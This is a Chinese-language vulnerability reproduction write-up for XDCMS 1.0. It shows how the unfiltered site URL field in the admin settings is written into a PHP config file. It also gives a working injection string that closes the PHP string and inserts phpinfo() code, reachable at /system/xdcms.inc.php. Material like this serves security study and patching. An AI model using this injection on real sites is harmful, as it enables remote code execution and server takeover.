# XDCMS 1.0 后台配置文件getshell

### 一、漏洞简介

### 二、漏洞影响

XDCMS 1.0

### 三、复现过程

![](images/15896415526489.png)


刚看到这里的时候，这里的网站地址:`http://127.0.0.5`我很好奇是干嘛的，因为它现在写的是127.0.0.5而网站的ip与这个无关，去翻翻源码看看这玩意是干嘛的


```php
if($tag=='config'){
    //判断url是否以/结尾
    $urlnum=strlen($info['siteurl'])-1;
    if(substr($info['siteurl'],$urlnum,1)!="/"){
        showmsg(C("update_url_error"),"-1");
    }//end

    $cms=SYS_PATH.'xdcms.inc.php';   //生成xdcms配置文件
    $cmsurl="<?phpn define('CMS_URL','".$info['siteurl']."');n define('TP_FOLDER','".$info['template']."');n define('TP_CACHE',".$info['caching'].");n?>";
    creat_inc($cms,$cmsurl);
```

点击保存后，网站获取siteurl没有经过过滤，就拼接到cmsurl字符串变量里去了，然后根据这个cmsurl生成配置文件

配置文件：


```php
<?php
 define('CMS_URL','http://127.0.0.5/');
 define('TP_FOLDER','dccms');
 define('TP_CACHE',false);
?>
```

这里我们可以构造siteurl：


```bash
hello');?><?php phpinfo();?>
```

点击保存后，我们去查看一下该配置文件：


```php
<?php
 define('CMS_URL','hello');?><?php phpinfo();?>';
 define('TP_FOLDER','dccms');
 define('TP_CACHE',false);
?>
```

这里的配置文件内容生成外部参数可控，导致了可直接getshell

访问该配置文件页面：`http://url/system/xdcms.inc.php`

![](images/15896416188108.png)